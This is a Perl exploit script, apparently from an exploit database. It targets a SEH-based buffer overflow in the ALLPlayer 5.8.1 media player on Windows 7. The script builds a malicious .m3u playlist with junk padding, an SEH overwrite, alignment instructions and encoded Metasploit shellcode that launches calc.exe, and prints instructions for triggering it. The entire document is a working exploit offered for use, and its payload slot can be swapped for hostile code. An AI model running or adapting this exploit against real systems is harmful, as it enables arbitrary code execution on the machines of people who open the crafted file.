#-----------------------------------------------------------------------------# # Exploit Title: ALLPlayer 5.8.1 - (.m3u) Buffer Overflow (SEH) # # Date: Mar 1 2014 # # Exploit Author: Gabor Seljan # # Software Link: http://www.allplayer.org/download/allplayer # # Version: 5.8.1 # # Tested on: Windows 7 SP1 # #-----------------------------------------------------------------------------# # This application is still vulnerable to a buffer overflow, caused by improper # bounds checking of an URL given via menu or placed inside an M3U file. # # Credit to previous exploits: # + http://www.exploit-db.com/exploits/29798/ by Mike Czumak # + http://www.exploit-db.com/exploits/28855/ by metacom #!/usr/bin/perl use strict; use warnings; my $filename = "sploit.m3u"; my $junk1 = "\x41" x 301; # Offset to SEH my $nSEH = "\x61\x50"; # POPAD # Venetian padding my $SEH = "\x50\x45"; # POP POP RET from ALLPlayer.exe my $junk2 = "\x42" x 700; my $align = "\x53". # PUSH EBX "\x6e". # Venetian padding "\x58". # POP EAX "\x6e". # Venetian padding "\x05\x14\x11". # ADD EAX,0x11001400 "\x6e". # Venetian padding "\x2d\x13\x11". # SUB EAX,0x11001300 "\x6e". # Venetian padding "\x50". # PUSH EAX "\x6e". # Venetian padding "\xc3"; # RET my $nops = "\x71" x 109; # msfpayload windows/exec cmd=calc.exe R # msfencode -e x86/unicode_mixed BufferRegister=EAX my $shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAh". "AAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLyXTI9pKPip". "S02iwuP1z2RDRkb2nP2kNrjlDKnrN4BkD2NHJofWPJLfNQyonQGPDlmloqSLyrNLmPy16ozmYqY7". "JBzPB2R72kqBLPrkMrmlZaj0Bka0d83UGP1dOZYqvpb04Ka8mH4KR8kpYqyCHcMlQ9DKmdDKM18V". "nQyolqEpdl91FojmzahGNXk01eYd9s3M8xMk1mmTbUYRr8dKNxldKQWcRFRklLpKBkaHKl9qwc2k". "itRk9qFp3Yq4O4mT1K1Ks1aI0Zb1KOGpR8QOPZrkMBJKTFqMRJkQBm3UgIipYpypNp38matKpoe7". "ioyE7KJP85vBQF0heVCeEm3mio7eMlYvsLiz3PikiP45ze7KPGJs1bpoBJKP0SkOiEqSaQBL33ln". "s5sH2E9pAA"; my $sploit = $junk1.$nSEH.$SEH.$align.$nops.$shellcode.$junk2; open(FILE, ">$filename") || die "[-]Error:\n$!\n"; print FILE "http://$sploit"; close(FILE); print "\nExploit file created successfully [$filename]!\n\n"; print "You can either:\n"; print "\t1. Open the created $filename file directly with ALLPlayer\n"; print "\t2. Open the crafted URL via menu by Open movie/sound -> Open URL\n\n"; print "http://$sploit\n";